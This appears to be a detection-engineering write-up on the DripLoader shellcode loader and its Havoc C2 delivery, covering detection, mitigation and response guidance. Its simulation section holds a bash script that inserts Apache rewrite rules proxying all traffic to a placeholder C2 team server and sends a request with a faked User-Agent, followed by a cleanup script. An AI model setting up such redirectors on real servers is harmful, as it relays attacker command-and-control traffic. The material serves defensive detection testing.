DripLoader Malware: Shellcode Execution and Defense Evasion
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
The article examines DripLoader, a shellcode loader that allocates memory, writes shellcode into it, switches page permissions to executable, and then runs it. It covers how the loader is delivered via an HTTPS redirector backed by the Havoc C2 framework, and how its code can be obfuscated with compression and indirect syscalls. The write-up also presents an upgraded variant, DripLoaderNG, that relies on .node sideloading and additional evasion tricks, along with practical detection guidance and memory analysis tooling.
Investigation
The investigation describes a lab setup where Havoc sends compressed shellcode through a tailored Apache redirector. The loader reserves 64 KB regions, commits 4 KB pages, modifies protection flags, and executes the payload. DripLoaderNG introduces indirect syscalls and .node module sideloading aimed at the Slack Electron application. Detection is showcased using tools such as Moneta, PE-sieve, and supporting KQL queries.
Mitigation
Mitigation steps include monitoring suspicious HTTPS redirects, spotting forged user-agent strings, flagging rare .node files, and leveraging EDR features to identify indirect syscall behavior. Further recommendations involve tuning Sliver/Donut configurations to reduce AMSI tampering and limiting execution of unsigned native modules.
Response
When activity is detected, isolate the impacted endpoint, stop the offending process, capture memory dumps, and inspect injected shellcode. Block the C2 domain or IP, reset exposed credentials, and deploy defensive rules for the specific user-agent and .node file indicators. Follow up with forensic analysis and refresh detection content to cover observed indirect syscall patterns.
Attack Flow
Detections
Detection of DripLoader Shellcode Execution and Evasion Tactics [Webserver]
View
IOCs (DestinationIP) to detect: DripLoader: A Case Study on Shellcode Execution & Evasion
View
IOCs (SourceIP) to detect: DripLoader: A Case Study on Shellcode Execution & Evasion
View
Unsigned .node File Loaded
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.
-
Attack Narrative & Commands:
An operator of the malicious infrastructure prepares the victim web server to act as a conduit to the C2 server. They insert twoÂRewriteRule directives into the Apache virtual‑host configuration: one that proxies all inbound traffic toÂhttps://C2.TeamServer.IP:443 ([P] flag) and a second that redirects any request to a benign Google URL ([L,R=302]). After reloading Apache, the attacker issues a crafted HTTP request bearing the exact fake User‑Agent string defined in the Sigma rule. Apache processes the request, logs the User‑Agent, and the rewrite engine records the proxy action, satisfying both detection conditions. -
Regression Test Script:
#!/usr/bin/env bash # ------------------------------------------------- # DripLoader detection validation script # ------------------------------------------------- APACHE_CONF="/etc/apache2/sites-available/000-default.conf" BACKUP_CONF="/tmp/000-default.conf.bak" # 1. Backup current config sudo cp "$APACHE_CONF" "$BACKUP_CONF" # 2. Insert malicious rewrite rules sudo bash -c "cat >> $APACHE_CONF <<'EOF' # BEGIN DripLoader Test Rules RewriteEngine On RewriteRule ^.*$ \"https://C2.TeamServer.IP:443%{REQUEST_URI}\" [P] RewriteRule ^.*$ \"https://www.google.com\" [L,R=302] # END DripLoader Test Rules EOF" # 3. Reload Apache to apply changes sudo systemctl reload apache2 # 4. Issue malicious request with the exact fabricated User‑Agent curl -s -o /dev/null -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.366" http://localhost/ echo "Malicious request sent. Check SIEM for detection alert." -
Cleanup Commands:
#!/usr/bin/env bash # ------------------------------------------------- # DripLoader detection validation cleanup # ------------------------------------------------- APACHE_CONF="/etc/apache2/sites-available/000-default.conf" BACKUP_CONF="/tmp/000-default.conf.bak" # Restore original configuration if [[ -f "$BACKUP_CONF" ]]; then sudo cp "$BACKUP_CONF" "$APACHE_CONF" sudo systemctl reload apache2 echo "Original Apache configuration restored." else echo "Backup not found; manual cleanup may be required." fi